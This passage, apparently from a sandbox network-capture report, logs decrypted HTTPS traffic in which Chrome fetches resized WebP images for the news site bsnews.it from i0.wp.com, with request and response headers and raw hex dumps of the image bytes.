2024-03-28 08:51:03 UTC	1128	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3b 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 36 32 29 2c 20 71 75 61 6c 69 74 79 20 3d 20 39 30 0a ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 32 00 32 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 Data Ascii: JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90CC22"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49807	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	638	OUT	GET /bsnews.it/wp-content/uploads/2019/11/banner-cucina.jpg?resize=234%2C90&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/webp Content-Length: 8574 Connection: close Last-Modified: Thu, 07 Dec 2023 00:42:17 GMT Expires: Sat, 06 Dec 2025 12:42:17 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2019/11/banner-cucina.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "098ca4ba0bfb0364" Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:03 UTC	798	IN	Data Raw: 52 49 46 46 76 21 00 00 57 45 42 50 56 50 38 20 6a 21 00 00 70 62 00 9d 01 2a ea 00 5a 00 3e 6d 28 90 45 a4 22 a1 98 bc 3e 54 40 06 c4 b1 00 59 61 c4 f6 0f c4 5f 63 e7 21 c8 fd c1 fc 56 18 fc 67 e6 ce fc fe 93 7f c0 7a 37 7a 68 f4 d3 e6 63 f5 eb d5 6b f2 c7 de c7 f7 ad fa af 42 3e 97 ff ee d6 9a dc 1f fc b7 81 3f 91 7c f7 f9 1f ed 9f b5 bf bd 5e fc 5f e0 77 81 eb 2f 31 7f 9b fe 0a fd 37 f8 6f dc af ee bf ba 5f 74 bf 94 ff a9 f9 45 e6 ef c4 0d 41 7d 7f fe 87 d1 9b e7 ff e1 76 c1 ec 9f e3 ff e8 ff 91 f6 05 f6 db e9 9f f0 7f c6 fa a6 fd 17 fc 6f ca 6f 73 be c6 7f c4 f7 02 fe 63 fc ff fd b7 f7 7f 6b 3f dd 7f c3 f2 09 f2 8f d8 af 80 3f e7 df d9 7f e5 7f 7d ff 2b fb 6b f4 d5 fd bf fe 2f f5 5f e9 ff f0 ff b4 f7 61 f4 d7 fe 4f f2 ff 02 3f ce 3f b0 7f cf fe ff fe Data Ascii: RIFFv!WEBPVP8 j!pb*Z>m(E">T@Ya_c!Vgz7zhckB>?\|^_w/17o_tEA}voosck??}+k/_aO??
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 7f f0 1b 31 cf 20 0c a9 3e 34 cb ff 58 35 4c 65 19 f0 00 fe fe 87 36 02 68 71 ff 6d b5 c7 5a 1b 45 db 45 d9 81 a5 62 9c a6 d4 4e 60 02 f2 de 17 6a c0 48 b6 bb 77 f8 56 a6 ca 5c 00 63 91 64 f0 bb 19 6a d0 02 52 da 2a e4 e5 3d 68 99 39 c6 f8 70 94 fd 28 0d b9 94 fd fe 4f e1 cd 1d 8b 75 b7 53 88 88 bc 07 48 df 22 48 ed 25 fe 1d 44 7e 35 63 e7 52 4d 7e fc 69 48 48 dc 1f e6 54 92 04 89 fe 0c 54 ee 2b b7 74 0d 53 83 6f a5 11 02 e3 96 c0 25 7a 27 19 f8 a5 90 2b bc 7e 47 1f c9 66 91 7b fc 5c 57 da 5f b4 01 05 f1 cf 46 df ea bf e8 ea 74 c3 41 2a 79 d9 a5 61 e2 50 7e f0 ce 13 ec ad d0 f0 88 1c ce 29 fc a8 d5 ff 5c 71 bb f8 79 da ef ae 2f 99 16 f4 3f 47 dc 70 54 0b 73 24 f7 12 9d 3a e5 d1 e3 fd b1 20 85 c8 b2 92 bf 12 33 3f c4 0a 88 0f db 46 9b 9b b7 55 cd 59 d3 f0 Data Ascii: 1 >4X5Le6hqmZEEbN`jHwV\cdjR=h9p(OuSH"H%D~5cRM~iHHTT+tSo%z'+~Gf{\W_FtAyaP~)\qy/?GpTs$: 3?FUY
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 2d ce 0e ac 68 09 5e a6 06 a2 45 bc 68 d8 9e 93 51 64 f6 49 cd 3d 2f 0f d4 5c f7 f7 40 4e 97 9e 20 8e ca e7 1c 82 3d c4 95 01 b0 d9 ce c3 2a 7e 86 06 b9 fa f9 11 66 45 66 b2 ce 28 54 23 5d eb 88 a2 93 bd 78 7c f7 06 be df 26 23 97 93 79 25 7f 6d f7 6a 8b 6c 25 e5 5c cd 53 e7 87 2a 52 2c 3e 36 b3 2e 0c 33 49 e7 93 5a bc a1 ea 92 81 c6 a6 5a 76 52 9a c6 7b ab a1 fe bf 6a 2d 38 c1 79 48 1a 17 59 d1 ae 72 d3 f5 13 1f f2 ff 82 33 5f 25 b8 41 45 95 38 6f 01 ff 09 68 79 fe a4 96 43 9a 25 bb 09 58 17 c9 d9 b6 e2 58 36 9a c5 e5 a4 a1 0a 23 df 89 57 cb 70 cd 2d eb 0b 4c 0b 87 2b 6c 85 41 d0 e5 43 7a 3c 8b 9d 9a c9 9e 5a ad 55 42 d7 75 f9 a1 a8 21 11 d3 3c 11 37 3d ac dd 58 1c dd 84 57 2b c0 b3 3f 58 c9 b0 8e 95 3c 46 e8 56 fd 7d a0 56 4a 8a 18 49 86 d6 80 ae e2 de Data Ascii: -h^EhQdI=/\@N =~fEf(T#]x\|&#y%mjl%\SR,>6.3IZZvR{j-8yHYr3_%AE8ohyC%XX6#Wp-L+lACz<ZUBu!<7=XW+?X<FV}VJI
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 52 0b 19 57 06 a0 ea 52 f1 e9 1e 85 ee 7e a9 06 bd 70 da d5 f2 16 e0 97 05 b1 dd de 4e 88 85 57 ba bb 48 b1 36 35 87 88 cb ca 07 4b 0e 65 a8 ba b6 20 a5 93 e3 62 cd fe 4c bc 5f c9 04 11 23 f1 fe 8d 4e 3d e5 08 7b 32 16 53 f0 23 00 6b 94 03 52 c5 ce 1f 11 49 ac 7c d3 f6 18 3b 21 90 33 4a 9b e7 75 d8 de 90 85 04 62 f6 61 16 71 e2 10 08 21 4c ec 83 ac e0 89 23 f8 15 e3 17 50 7b c8 33 b4 4a 50 7c 21 7f 4f 22 a0 98 13 f2 d1 64 3b 89 a7 62 93 c1 58 6e e1 b9 37 65 50 8c 92 7c d0 bc ab 07 ab 2e fa 64 80 4e 3f e5 d3 02 2d 04 48 f1 08 7c 75 45 f3 e7 49 d1 c3 6d 5f bf 5b d8 b1 05 72 10 19 e0 69 bb 73 70 be e6 c2 e2 1b 5d eb 50 89 3c 59 f2 ea 17 e6 19 e1 04 e0 24 5e 64 dc 95 05 5e 8a c7 3e 40 43 97 9e d3 77 67 ef 9d f9 e9 b8 b9 4a cb d9 d4 77 fd dc c4 65 40 9f 1d f9 Data Ascii: RWR~pNWH65Ke bL_#N={2S#kRI\|;!3Jubaq!L#P{3JP\|!O"d;bXn7eP\|.dN?-H\|uEIm_[risp]P<Y$^d^>@CwgJwe@
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: f2 ed 64 fa d7 71 6b 07 a0 35 92 f6 09 68 de d7 0f cc a5 3a 2b d4 a2 cf a0 43 c7 b2 bf fa ee c1 4f 86 97 32 a9 30 b8 94 61 54 21 1e 2d e4 2d e2 0f b5 74 01 c5 88 aa 41 74 b4 e8 42 b8 26 51 29 6d 46 bf 9d b0 82 63 90 a6 ad 4a 22 52 da 07 2c a2 d3 e1 95 10 f6 8c cf dd 90 20 f9 1b af a8 8c 5f 11 a7 92 b2 19 5b 9a c5 4e 3f e8 37 74 d0 d8 6f 2a 43 21 d8 07 eb cc 38 d6 b2 43 27 cc 27 2a 95 da 4a c2 5f 46 a4 19 30 26 9b 8c 91 ed 6d 9f ae 15 37 a5 7c 8a 27 37 d9 c6 81 85 12 2f f5 98 71 b7 42 57 fe d9 9a 67 81 98 0e dc d8 15 c8 66 ec 20 c3 0d 80 c1 57 98 42 b4 1a 94 18 bd 73 4c 4d ec 53 13 cf 8c 1e 0c f0 e8 05 5f 2c ea 4b 45 5b 18 64 82 ba e9 b8 ee 47 6b 2f 48 14 cb 24 c1 56 ba 56 79 c4 b5 32 69 9d 23 79 16 ba 20 94 75 2a a1 e4 cf af a5 d2 4d 98 9d 20 9e bb 70 81 Data Ascii: dqk5h:+CO20aT!--tAtB&Q)mFcJ"R, _[N?7toC!8C''J_F0&m7\|'7/qBWgf WBsLMS_,KE[dGk/H$VVy2i#y u*M p
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: a5 1b ca d3 4f 32 35 5d 78 1e f0 2c 69 5a 72 77 c0 d7 4e 53 b6 bc 56 8f a1 62 91 bb a5 fa d6 e4 6b 1b 01 ac 01 85 f9 33 cb bd c9 9e 9d 24 04 68 ad f7 b5 33 86 3d d6 59 a0 65 12 14 b8 cd 4d e0 03 b6 14 9d 8f fc 2e 59 11 f3 2e 05 80 b1 75 d0 35 60 ef 1d a4 6b 7c 42 84 00 05 7c 9f f6 7e ff 04 68 89 dd 7c 11 bb 21 97 f4 f7 07 0c b6 98 5b d7 f2 55 8e c3 18 26 3e dd d0 4f aa 6b 75 fa 9f 83 b9 e7 0e 4e dd 3a af 87 ec e8 4e f7 a5 c8 53 06 e4 b4 80 10 74 a4 27 42 f0 ae 85 62 ea 31 c6 f0 53 84 b9 d2 08 d0 b2 98 ce 9b ef f0 70 47 c4 ab f8 1a 20 59 76 f3 b6 b1 6d 18 3b 84 86 b9 3c d9 d1 c9 5d f6 1c 1d 2b b2 d6 a9 89 bc fc fa 4d 6e 89 58 d8 a3 51 ed 07 a7 9f c1 ad 4e b2 aa ed 83 07 1e ab cd 1e 29 43 14 3e 24 e1 e1 33 d1 22 8c ec c5 55 76 3f 93 09 ab 3c 78 a2 fe 79 0a Data Ascii: O25]x,iZrwNSVbk3$h3=YeM.Y.u5`k\|B\|~h\|![U&>OkuN:NSt'Bb1SpG Yvm;<]+MnXQN)C>$3"Uv?<xy
2024-03-28 08:51:03 UTC	931	IN	Data Raw: 4d 97 6f ab 89 06 1d 77 c3 0b 61 76 b8 e3 ce 0e f0 5d 41 fb fa db ff ea 3d 17 50 05 ef b9 01 16 15 e8 31 d8 3c 19 4c e0 16 f1 77 8a cd 28 3f bb f8 b0 fc 4e 7d 5c 35 33 e5 7e 65 76 7b e9 b2 3c ea 1c 32 a4 85 06 3a f8 63 20 cf fa f1 29 06 05 1f 8a 26 d2 69 48 e4 3f 71 17 93 45 af 46 de f3 91 02 f8 2d 25 16 4a 2f 35 df ba 85 43 f7 6c 92 02 ec 5f 5e 15 87 f7 1b 95 f0 85 0c 95 0c 6e ab cc 12 78 09 ec 16 fb 57 10 f3 e5 bd 8f 75 66 32 ef b7 13 31 5f ed b7 2e a2 4d 24 04 21 13 31 ee a2 09 85 f8 f9 1d 5e 11 ee 21 07 39 b1 21 1a 8e 3b 84 9f 9b e3 68 9f 33 01 2f b1 a0 a9 2e f3 50 0d b3 c3 d0 4a 63 0f 26 ce 04 83 3d bc 1e 5f 46 4c 46 9e 9e e1 c3 90 4c 7c 40 c3 75 36 0f 26 5f 88 02 98 c2 81 9b c2 d7 65 9a 8e c9 1d 0e 8b 34 7b 96 e8 ba 12 c7 f3 8f a3 b9 12 0c 7b d1 95 Data Ascii: Mowav]A=P1<Lw(?N}\53~ev{<2:c )&iH?qEF-%J/5Cl_^nxWuf21_.M$!1^!9!;h3/.PJc&=_FLFL\|@u6&_e4{{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49808	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_1785.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/webp Content-Length: 9018 Connection: close Last-Modified: Wed, 27 Mar 2024 17:20:08 GMT Expires: Sat, 28 Mar 2026 05:20:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_1785.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "e6a5d76c8ffc1670" Vary: Accept X-nc: HIT dca 3 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:03 UTC	798	IN	Data Raw: 52 49 46 46 32 23 00 00 57 45 42 50 56 50 38 20 26 23 00 00 f0 80 00 9d 01 2a 44 01 a0 00 3e 6d 30 94 47 a4 22 a2 23 a6 32 6c 80 80 0d 89 63 06 f8 86 bc 1a 81 2f f9 3b f3 ea ff b1 3f 27 cf bf 93 fc 7f 02 7d cc f3 a8 ab 37 ce 8f 4b 1f e0 77 84 79 94 fd b0 f5 66 f4 d1 e8 01 fd 77 fd 27 ac 6f ac 67 f5 cf 55 5e 98 1f ee 1f f3 fd 23 ae 9d f8 3f fa 4f dd 3c bf 6f 4f f4 5f e3 f9 91 f6 e1 3f ff d3 77 d3 f2 a7 50 2a e2 7b d7 ed bf a0 47 ba 9f 72 f4 dd fa 0f 33 3f ac ff 27 ec 01 e7 77 fb bf 06 ff bd ff c1 fd 90 f8 00 fe 89 fd ff f6 03 de 5f fd df 2d 3f 64 94 a9 e6 c7 55 ce de 11 0a 6b 7c a1 dc 88 56 d0 d7 f0 01 ea 60 79 3e b3 4a a3 b7 04 88 ba 04 81 bf 2d af 0a 9d 74 bb 0d 53 03 53 ad 94 b9 56 2d 4f ed 14 18 8f fc db f4 31 17 0c d5 44 31 5b 65 4c 82 36 c7 4a 7b 83 Data Ascii: RIFF2#WEBPVP8 &#D>m0G"#2lc/;?'}7Kwyfw'ogU^#?O<oO_?wP{Gr3?'w_-?dUk\|V`y>J-tSSV-O1D1[eL6J{
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 59 4d 96 43 6f 11 91 e1 f2 4d 10 71 7f e7 5c 18 81 b5 bc 05 3e e8 71 ce be 7c 00 9c f3 1e bd 8c 6c ec 61 06 68 f3 35 30 62 8e 94 9e 62 b5 1a cc a3 e7 38 0d e9 39 20 b9 3c b3 64 ae 90 bd ab 31 ed c3 cd 26 af 9b bc 63 b3 90 99 de 94 40 ca 1f 65 8a dd ab 26 11 35 96 31 b5 78 c0 4e ab c5 8f 47 01 14 ba 09 c2 4f dc e4 eb 9f e1 4a 72 20 8b d6 f3 b6 23 04 ea 01 7d 9f 77 64 af 00 4c 1c 2f fd 9d a9 82 31 7b e9 60 92 1e 45 8c 98 56 55 90 ff 9d 52 9d 32 33 c1 84 e1 b7 10 2c 63 7f f8 fe f2 95 9a d7 5a e1 d8 6e cd 2a c6 09 b6 3a 08 6b f5 bc 41 3f 7c 4a e1 5f ed 54 a7 7c a2 31 1b 25 fc 9d 09 41 55 44 d7 85 6a 55 39 21 3d 4e 51 bc ca 1a 85 d1 e8 eb 71 1e 9b 4b d2 3b 06 1b b1 09 1e 95 13 77 94 f0 0e e5 8f 83 01 7a 29 0b 48 93 fc 0a 81 56 a8 37 2d 1f 74 f5 f0 4c ba e9 2d Data Ascii: YMCoMq\>q\|lah50bb89 <d1&c@e&51xNGOJr #}wdL/1{`EVUR23,cZn*:kA?\|J_T\|1%AUDjU9!=NQqK;wz)HV7-tL-
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: af 1e 93 6e d0 15 38 d9 27 67 2a 7e 3d 03 d0 e6 54 2a 84 c4 11 70 df cb 20 a1 29 62 0a f0 eb 3b 1d eb de 01 1a c4 8f 4f f6 6a 6d 25 7a 7c 56 32 7b 2a 63 28 1d 1c 4b 10 42 86 4e af 88 13 ab 75 6a ce ce 45 f0 ff c8 e4 67 6d cd 65 22 88 d4 92 0d a4 f6 34 73 96 d0 85 93 43 41 ea 74 f5 f1 de c7 30 49 4c 05 ba ce 97 41 7d cb f6 fd ae c1 6b 0e 2f a7 f6 82 21 34 61 3d de 09 c4 78 65 a2 80 bf 9d 20 1e 60 4b 6d fd ca 20 07 30 b7 44 dc 9e e1 ce 1d 51 27 55 35 80 fc 3d 9f 74 18 1d e5 63 e5 79 82 79 82 b8 5a 81 38 6e c9 5d 5f 02 21 62 5b 45 42 0c 35 ec 33 eb 8f 70 9e 13 5b fb 2d 71 29 67 43 23 5b dd 42 c9 c3 0c 79 f3 85 99 ee 39 80 79 06 d4 84 25 d1 9e e5 ac 1f 42 99 c2 29 24 5c 00 cb e8 a2 e9 43 7d d4 44 24 80 70 4e 1c 12 30 15 08 d4 4b f7 f5 91 57 3c e0 82 4c e4 73 Data Ascii: n8'g~=Tp )b;Ojm%z\|V2{*c(KBNujEgme"4sCAt0ILA}k/!4a=xe `Km 0DQ'U5=tcyyZ8n]_!b[EB53p[-q)gC#[By9y%B)$\C}D$pN0KW<Ls
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 14 ff cc 22 46 7f 9f 87 ab e4 8d bd 62 29 66 64 de 7e 97 4b f8 3e 31 d7 2f 96 95 ce ca 7e 84 db 86 71 3f 59 da 28 2c 58 1c 78 c2 29 da 83 82 75 4e 4c 5f a7 c2 9e d9 62 06 57 73 d8 11 a1 f1 66 73 05 8f 9c d0 fa 25 8c 4d 4f e1 5c 9a 48 f2 24 de 48 a9 0b 0c 65 e8 33 af bf 4d 92 b4 de 55 25 f5 ff 87 28 41 e3 79 77 37 d1 2f dd 56 f4 36 17 76 cd 43 c6 c3 e3 a2 cf 3a 62 5a fe 3a 19 b7 b6 e8 29 11 33 c3 4b d4 9c be c2 9f 05 8c 96 8f d0 ef 12 e1 ba 73 99 9f 5d c3 34 81 27 3c e5 84 4a ce eb 45 17 a9 49 a5 08 c7 36 df be 5c 04 a5 54 52 01 76 c3 6b 96 be 00 09 d6 e2 14 ec 38 0b 2e c8 39 ec eb e2 64 db a9 99 cc a1 a6 b0 63 4b 44 7e fa df 91 a3 44 c3 66 01 b5 a5 2e 3e 80 37 c7 7b 60 80 82 af bc b1 2d 61 d1 44 cb f7 0b 9e 91 18 86 b1 0a 57 ad ef 85 e8 16 4f f0 c7 07 98 Data Ascii: "Fb)fd~K>1/~q?Y(,Xx)uNL_bWsfs%MO\H$He3MU%(Ayw7/V6vC:bZ:)3Ks]4'<JEI6\TRvk8.9dcKD~Df.>7{`-aDWO
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 65 f2 82 bd 59 24 b8 c2 83 87 48 1a 26 bd 47 35 68 a3 19 4d 4a 21 bf c0 0c c6 53 ea 48 a3 7e 5c ac 7e d9 d5 9f 44 dc 07 94 14 2f d6 3a 43 83 43 9c e0 5a 1f 1d 55 ec 65 61 e2 b9 c4 07 af 68 33 3d dc 93 b0 40 92 70 f5 a0 1f 96 46 fd cb 63 f0 31 85 55 c2 3e 64 b5 ad ab c7 b9 92 cf 71 8a 3c 8b f6 65 4b 83 fe 3a 98 c5 06 7f 2b ee 47 66 e6 e7 d1 ee b3 64 ff 18 d4 19 f9 ef b5 59 6b 20 91 ff 7f be fe db 66 28 a8 c6 e5 50 7f 62 3d d3 04 32 5e 45 e1 cd b9 f2 88 46 81 7a 5f 29 5d 62 9f a6 b3 a2 cc bd 68 26 78 28 f0 a3 c5 e3 fe 5e e5 3e 38 b7 07 95 c0 12 81 f8 48 91 45 74 3e c2 b0 cb 8d 91 0e a2 03 83 16 10 b1 8f 20 47 6a 4b c9 43 3b c3 29 c4 20 a3 a4 c7 3f 3e 65 8e d8 27 43 97 5d ba a4 3d 03 fd 11 a6 c7 dd a7 7f 8b 5f 39 50 df 82 36 dc 1f d3 96 6e 60 f7 17 52 df e0 Data Ascii: eY$H&G5hMJ!SH~\~D/:CCZUeah3=@pFc1U>dq<eK:+GfdYk f(Pb=2^EFz_)]bh&x(^>8HEt> GjKC;) ?>e'C]=_9P6n`R
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 16 b3 a4 ae d2 ff b2 5f 70 e4 46 b0 d6 89 9a 4a 4c 2c 8b fd c9 a6 28 8c 3c 6d fb 19 b5 a8 66 9e e5 4c 8c 98 a2 c0 2a c2 91 f7 e3 d3 92 71 f9 41 40 16 d0 6b 8d 6b 9d 6f 6c 16 b6 75 0a 5c 65 1a 5c ee 41 78 1c e6 06 23 de dc 92 db 8b 29 e6 90 d7 26 01 4a cb b5 a2 52 af f1 a0 68 d0 c5 35 db 75 04 b0 dd 7f 45 75 43 18 e8 4f 71 63 1d 36 39 42 c3 da 27 5f 72 99 25 00 66 92 cf d0 28 9c 1e 47 a4 d5 da f8 84 08 13 9e fa e4 f8 9b 1f 60 02 47 b1 21 72 e9 57 3b 0f 53 9c 68 13 1e 62 ef b2 28 90 66 24 c3 68 a5 48 9e f8 e1 15 28 d1 44 b0 9b fd 3f 9c d4 aa 50 67 42 b9 ca 63 b1 00 be d1 15 26 0c db 57 92 e1 c0 c3 f8 49 40 c9 84 0a 4d 2a 86 60 21 51 89 05 8d 3e f3 ae 68 fe 4e ba 61 fe 62 1d c7 83 10 d0 16 d8 6b fc b5 7a 80 15 69 29 ab 75 76 40 6c a2 76 35 a1 6f 50 8d 63 43 Data Ascii: _pFJL,(<mfLqA@kkolu\e\Ax#)&JRh5uEuCOqc69B'_r%f(G`G!rW;Shb(f$hH(D?PgBc&WI@M`!Q>hNabkzi)uv@lv5oPcC
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: e5 81 40 74 c5 2d 39 d3 70 c0 e2 7a 3f 53 62 62 fc 06 75 7f 87 19 33 56 9b be 92 fc ec 75 d4 5c 18 69 86 92 0d d6 d0 b8 fc 71 ff 47 40 06 f7 d2 37 ca 83 5e cf 03 a4 b6 52 38 1a b1 86 37 9f 1f 40 5d ef ab 71 bc 9d 5d 10 e3 3d 64 a9 0d e4 f0 ba ca b7 67 9c 82 46 73 0e fb 3b 8e f3 11 18 56 44 22 b7 83 6e 68 68 c9 8d d1 23 96 47 96 31 d6 eb c5 1b 2c c5 56 ff 9f ea 44 55 f7 f0 51 d6 92 ba 12 c5 bd 7f c8 1f af c9 82 6f 98 66 f1 c7 08 f9 3f 67 5a 27 9b 41 e2 ed 06 36 8c 24 6d 44 a0 bb 85 42 bf de 51 b9 a6 7a e1 d1 74 5f ad e5 b0 c4 2e 57 65 23 b9 fb 6a 40 ea 4d 7e d8 e0 0e c4 ac 70 e1 c0 4a 42 77 be 03 fc 3f ad 27 e1 d6 27 ba b1 b6 f1 fe 8e 8b 70 a6 35 bf 80 2c c5 db 1b 9a 88 39 c2 ed 44 9f 48 c6 38 ed 2b d6 9a 64 d5 41 61 c5 6e 97 2b af 98 e2 e5 9e b8 13 65 c2 Data Ascii: @t-9pz?Sbbu3Vu\iqG@7^R87@]q]=dgFs;VD"nhh#G1,VDUQof?gZ'A6$mDBQzt_.We#j@M~pJBw?''p5,9DH8+dAan+e
2024-03-28 08:51:04 UTC	6	IN	Data Raw: ff 26 95 82 00 00 Data Ascii: &

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49812	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_1870.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:04 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/webp Content-Length: 8916 Connection: close Last-Modified: Wed, 27 Mar 2024 17:20:08 GMT Expires: Sat, 28 Mar 2026 05:20:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_1870.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "d656468693fded31" Vary: Accept X-nc: HIT dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:04 UTC	798	IN	Data Raw: 52 49 46 46 cc 22 00 00 57 45 42 50 56 50 38 20 c0 22 00 00 b0 82 00 9d 01 2a 44 01 a0 00 3e 6d 30 93 46 a4 23 21 a3 28 72 ed 80 80 0d 89 63 08 91 8c 56 2f 66 a3 da f5 ef f2 52 79 57 20 96 20 9d a1 9a 9d 94 bd 3b 6e 01 fe d5 d1 63 e9 db 7a ff a2 87 d6 d7 fc 85 ae ff 25 3f 47 e1 4f 9d 0f a2 ed 53 7b 7b 48 fb 84 9c cf ea bb f9 f9 65 fe 7f a8 8d cc bf 65 3c 17 37 7f f6 9f b3 1e c2 fe f4 fd 8f fe cf f8 1f 62 49 b5 fd 94 c8 1f ad fb 04 f9 47 7f b7 ff d3 fd 77 a7 8f d9 bf db 7f f1 f7 16 e9 77 e8 fa 7c 33 ff b0 8e 27 fa d8 31 c2 f7 e0 70 2e ee 67 db a7 b9 3b 5b d6 79 57 01 62 a3 d0 f9 f5 d8 82 7d 0d e9 26 45 cf c1 01 9c 30 1e 20 79 78 9b 7c 95 c9 d2 8b 37 11 58 fe 13 9a 2f 2a 16 05 9d 0a 2d 72 b2 27 a7 ff 58 d4 48 1a c4 e3 b2 d9 4c b2 23 f0 4a 91 9d ea 08 86 f6 Data Ascii: RIFF"WEBPVP8 "D>m0F#!(rcV/fRyW ;ncz%?GOS{{Hee<7bIGww\|3'1p.g;[yWb}&E0 yx\|7X/-r'XHL#J
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 57 e7 49 34 fa 86 63 f9 08 eb 5d f9 67 e7 17 aa d0 31 96 56 e1 7a c8 e5 36 36 28 66 61 b2 c0 14 0c 5a fa dc d9 c1 59 29 57 8d 1b dd ee 87 fd 29 09 c0 ec 67 c7 aa a7 4d cd 4f ab 15 7b 3a 21 bb d1 8c 28 79 ba 81 73 55 5f 45 15 39 ed d8 9d 0a 4c 90 dd f8 bf f2 75 28 70 34 90 d0 9d 13 a1 16 7c 0a 72 c9 6c ce 75 f9 74 58 61 15 96 4f 72 67 50 4b d3 74 7e e7 2e dc 26 5d 85 4f 41 36 f8 2f 36 9c 39 fa 2c 7e 89 37 1d c8 71 e5 a0 fb a8 0f ee 99 fd 65 84 8a 52 c4 73 5b 97 d1 e8 b5 ca fc 0e f2 3a 4c e1 d2 b8 0b 2d b0 8f 70 ae 9c 34 bc 91 7c c3 a3 04 30 4d 48 a9 ad 5b ef 69 cd 79 fb 05 58 fc ac 42 e9 98 f8 f2 46 b2 48 52 6e 07 d8 6e ea ef 3d b9 0b 